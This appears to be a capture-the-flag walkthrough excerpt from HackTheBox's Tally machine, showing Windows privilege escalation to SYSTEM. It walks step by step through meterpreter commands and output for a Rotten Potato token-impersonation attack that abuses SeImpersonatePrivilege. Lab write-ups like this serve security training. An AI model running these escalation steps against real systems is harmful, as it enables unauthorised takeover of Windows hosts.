The info in this page info was extracted [from this post](https://www.absolomb.com/2018-05-04-HackTheBox-Tally/) Service accounts usually have special privileges (SeImpersonatePrivileges) and this could be used to escalate privileges. [https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) I won’t go into the details on how this exploit works, the article above explains it far better than I ever could. Let’s check our privileges with meterpreter: ``` meterpreter > getprivs Enabled Process Privileges ========================== Name ---- SeAssignPrimaryTokenPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege SeIncreaseQuotaPrivilege SeIncreaseWorkingSetPrivilege ``` Excellent, it looks like we have the privileges we need to perform the attack. Let’s upload `rottenpotato.exe` Back on our meterpreter session we load the `incognito` extension. ``` meterpreter > use incognito Loading extension incognito...Success. meterpreter > list_tokens -u [-] Warning: Not currently running as SYSTEM, not all tokens will beavailable Call rev2self if primary process token is SYSTEM Delegation Tokens Available ======================================== NT SERVICE\SQLSERVERAGENT NT SERVICE\SQLTELEMETRY TALLY\Sarah Impersonation Tokens Available ======================================== No tokens available ``` We can see we currently have no Impersonation Tokens. Let’s run the Rotten Potato exploit. ``` meterpreter > execute -f rottenpotato.exe -Hc Process 3104 created. Channel 2 created. meterpreter > list_tokens -u [-] Warning: Not currently running as SYSTEM, not all tokens will beavailable Call rev2self if primary process token is SYSTEM Delegation Tokens Available ======================================== NT SERVICE\SQLSERVERAGENT NT SERVICE\SQLTELEMETRY TALLY\Sarah Impersonation Tokens Available ======================================== NT AUTHORITY\SYSTEM ``` We need to quickly impersonate the token or it will disappear. ``` meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM" [-] Warning: Not currently running as SYSTEM, not all tokens will beavailable Call rev2self if primary process token is SYSTEM [-] No delegation token available [+] Successfully impersonated user NT AUTHORITY\SYSTEM meterpreter > getuid Server username: NT AUTHORITY\SYSTEM ``` Success! We have our SYSTEM shell and can grab the root.txt file!
